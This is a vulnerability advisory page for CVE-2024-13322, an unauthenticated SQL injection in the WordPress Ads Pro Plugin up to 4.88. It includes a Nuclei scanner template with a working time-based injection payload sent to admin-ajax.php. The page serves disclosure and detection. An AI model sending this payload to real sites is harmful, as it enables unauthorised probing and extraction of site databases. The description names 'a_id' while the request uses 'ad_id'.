CVE-2024-13322: Ads Pro Plugin <= 4.88 - Unauthenticated SQL Injection

2025-08-01 Ads Pro Plugin PoC Public

Description

The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to SQL Injection via the 'a_id' parameter in all versions up to, and including, 4.88 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC

id: CVE-2024-13322

info:
  name: Ads Pro Plugin <= 4.88 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to SQL Injection via the 'a_id' parameter in all versions up to, and including, 4.88 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database including usernames, passwords, and other confidential data via SQL injection.
  remediation: |
    Update Ads Pro Plugin to a version newer than 4.88.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ap-plugin-scripteo/ads-pro-plugin-multi-purpose-wordpress-advertising-manager-488-unauthenticated-sql-injection
    - https://codecanyon.net/item/ads-pro-plugin-multipurpose-wordpress-advertising-manager/10275010
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3bcb60a8-220f-45a4-a9a9-10f64acf470c?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-13322
    cwe-id: CWE-89
    epss-score: 0.01735
    epss-percentile: 0.76508
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,sqli,time-based-sqli,wp,wp-plugin,wordpress,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bsa_stats_chart_callback&ad_id=1+and+(select*from(select(sleep(7)))a)-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - clicks
          - weekly_views
          - labels
        condition: and

      - type: dsl
        dsl:
          - 'duration>=7'
# digest: 4a0a00473045022100f7e866f82cd99c0076375e77947d31e9c63642ad995bde8a59ff4b4d5c91d209022064698ea6a533e946eab18dc8b71d478f47022fa13d9ab190533ae7188d25f1df:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities